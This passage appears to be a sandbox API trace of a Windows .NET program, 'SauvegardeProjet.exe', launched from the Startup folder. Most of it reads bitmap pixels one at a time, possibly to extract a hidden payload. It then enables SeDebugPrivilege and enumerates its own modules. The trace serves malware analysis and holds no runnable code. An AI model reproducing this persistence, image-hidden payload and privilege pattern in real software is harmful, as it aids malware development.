width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=184, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=185, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=186, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=187, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=188, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=189, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=190, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=191, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=192, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=193, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=194, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=195, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.390] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.390] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=196, color=0x636e0f0) returned 0x0 [0225.390] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=197, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=198, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=199, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=200, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=201, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=202, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=203, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=204, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=205, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=206, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=207, color=0x636e0f0) returned 0x0 [0225.391] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.391] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.391] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=208, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=209, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=210, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=211, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=212, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=213, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=214, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=215, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=216, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=217, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.392] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=218, color=0x636e0f0) returned 0x0 [0225.392] GdipGetImageHeight (image=0x4da5040, height=0x636e104) returned 0x0 [0225.392] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=0, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=1, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=2, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=3, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=4, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=5, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=6, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=7, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=8, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.393] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=9, color=0x636e0f0) returned 0x0 [0225.393] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.393] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=10, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=11, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=12, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=13, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=14, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=15, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=16, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=17, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=18, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=19, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=20, color=0x636e0f0) returned 0x0 [0225.394] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.394] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.394] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=21, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=22, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=23, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=24, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=25, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=26, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=27, color=0x636e0f0) returned 0x0 [0225.395] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=28, color=0x636e0f0) returned 0x0 [0225.395] GdipBitmapGetPixel (bitmap=0x4da5040, x=1, y=29, color=0x636e0f0) returned 0x0 [0228.248] GetCurrentProcessId () returned 0x564 [0228.325] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x636aacc | out: lpLuid=0x636aacc*(LowPart=0x14, HighPart=0)) returned 1 [0228.326] GetCurrentProcess () returned 0xffffffff [0228.327] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x636aac8 | out: TokenHandle=0x636aac8*=0x280) returned 1 [0228.327] AdjustTokenPrivileges (in: TokenHandle=0x280, DisableAllPrivileges=0, NewState=0x23f1544*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0228.327] CloseHandle (hObject=0x280) returned 1 [0228.334] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x280 [0228.341] EnumProcessModules (in: hProcess=0x280, lphModule=0x23f1dc0, cb=0x100, lpcbNeeded=0x636b1a0 | out: lphModule=0x23f1dc0, lpcbNeeded=0x636b1a0) returned 1 [0228.342] GetModuleInformation (in: hProcess=0x280, hModule=0x260000, lpmodinfo=0x23f1f00, cb=0xc | out: lpmodinfo=0x23f1f00*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0228.343] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.343] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x260000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0228.344] CoTaskMemFree (pv=0x4fb3db8) [0228.344] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.344] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x260000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0228.345] CoTaskMemFree (pv=0x4fb3db8) [0228.345] GetModuleInformation (in: hProcess=0x280, hModule=0x77b10000, lpmodinfo=0x23f40fc, cb=0xc | out: lpmodinfo=0x23f40fc*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0228.345] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.345] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77b10000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0228.345] CoTaskMemFree (pv=0x4fb3db8) [0228.345] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.345] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77b10000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0228.346] CoTaskMemFree (pv=0x4fb3db8) [0228.346] GetModuleInformation (in: hProcess=0x280, hModule=0x736a0000, lpmodinfo=0x23f6200, cb=0xc | out: lpmodinfo=0x23f6200*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0228.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.346] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x736a0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0228.346] CoTaskMemFree (pv=0x4fb3db8) [0228.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.346] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x736a0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0228.346] CoTaskMemFree (pv=0x4fb3db8) [0228.346] GetModuleInformation (in: hProcess=0x280, hModule=0x77540000, lpmodinfo=0x23f830c, cb=0xc | out: lpmodinfo=0x23f830c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0228.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.347] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77540000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0228.347] CoTaskMemFree (pv=0x4fb3db8) [0228.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.347] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77540000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0228.347] CoTaskMemFree (pv=0x4fb3db8) [0228.347] GetModuleInformation (in: hProcess=0x280, hModule=0x75990000, lpmodinfo=0x23fa420, cb=0xc | out: lpmodinfo=0x23fa420*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0228.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.348] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75990000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0228.348] CoTaskMemFree (pv=0x4fb3db8) [0228.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.348] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75990000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0228.348] CoTaskMemFree (pv=0x4fb3db8) [0228.348] GetModuleInformation (in: hProcess=0x280, hModule=0x773f0000, lpmodinfo=0x23fc568, cb=0xc | out: lpmodinfo=0x23fc568*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0228.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.349] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x773f0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0228.349] CoTaskMemFree (pv=0x4fb3db8) [0228.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.349] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x773f0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0228.349] CoTaskMemFree (pv=0x4fb3db8) [0228.349] GetModuleInformation (in: hProcess=0x280, hModule=0x77490000, lpmodinfo=0x23fe67c, cb=0xc | out: lpmodinfo=0x23fe67c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0228.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.350] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77490000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0228.350] CoTaskMemFree (pv=0x4fb3db8) [0228.350] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.350] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77490000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0228.350] CoTaskMemFree (pv=0x4fb3db8) [0228.350] GetModuleInformation (in: hProcess=0x280, hModule=0x75f70000, lpmodinfo=0x2400788, cb=0xc | out: lpmodinfo=0x2400788*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0228.351] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.351] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75f70000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0228.351] CoTaskMemFree (pv=0x4fb3db8) [0228.351] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.351] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75f70000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0228.352] CoTaskMemFree (pv=0x4fb3db8) [0228.352] GetModuleInformation (in: hProcess=0x280, hModule=0x758a0000, lpmodinfo=0x2402894, cb=0xc | out: lpmodinfo=0x2402894*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0228.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.352] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x758a0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0228.352] CoTaskMemFree (pv=0x4fb3db8) [0228.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.352] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x758a0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0228.353] CoTaskMemFree (pv=0x4fb3db8) [0228.353] GetModuleInformation (in: hProcess=0x280, hModule=0x75670000, lpmodinfo=0x24049ec, cb=0xc | out: lpmodinfo=0x24049ec*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0228.353] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.353] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75670000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0228.353] CoTaskMemFree (pv=0x4fb3db8) [0228.354] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.354] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75670000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0228.354] CoTaskMemFree (pv=0x4fb3db8) [0228.354] GetModuleInformation (in: hProcess=0x280, hModule=0x75660000, lpmodinfo=0x2406af8, cb=0xc | out: lpmodinfo=0x2406af8*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0228.354] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.354] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75660000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0228.355] CoTaskMemFree (pv=0x4fb3db8) [0228.355] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.355] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75660000, lpFilename=0x4fb3db8, nSize=0x800 | out: 